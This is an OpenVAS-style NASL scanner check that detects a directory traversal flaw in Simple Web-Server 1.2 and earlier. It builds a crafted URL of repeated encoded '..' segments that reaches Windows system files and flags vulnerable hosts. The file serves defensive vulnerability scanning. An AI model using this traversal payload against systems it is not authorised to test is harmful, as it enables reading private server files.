Storecalc Simple Web-Server <= 1.2 Directory Traversal Vulnerability - Active Check

# Copyright (C) 2011 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103174");
  script_version("2022-11-28T10:12:42+0000");
  script_tag(name:"last_modification", value:"2022-11-28 10:12:42 +0000 (Mon, 28 Nov 2022)");
  script_tag(name:"creation_date", value:"2011-06-07 12:59:38 +0200 (Tue, 07 Jun 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Storecalc Simple Web-Server <= 1.2 Directory Traversal Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_family("Web Servers");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Indy/banner");

  script_tag(name:"summary", value:"Simple web-server is prone to a directory traversal
  vulnerability because it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Exploiting this issue will allow an attacker to view arbitrary
  local files within the context of the webserver. Information harvested may aid in launching
  further attacks.");

  script_tag(name:"affected", value:"Simple web-server version 1.2 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/48116");
  script_xref(name:"URL", value:"http://www.autosectools.com/Advisory/Simple-web-server-1.2-Directory-Traversal-232");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("misc_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );

banner = http_get_remote_headers( port:port );
if( ! banner || "Server: Indy" >!< banner )
  exit( 0 );

files = traversal_files( "Windows" );

foreach pattern( keys( files ) ) {

  file = files[pattern];
  url = "/" + crap( data:"/%5c..", length:10 * 6 ) + "/" + file;

  if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );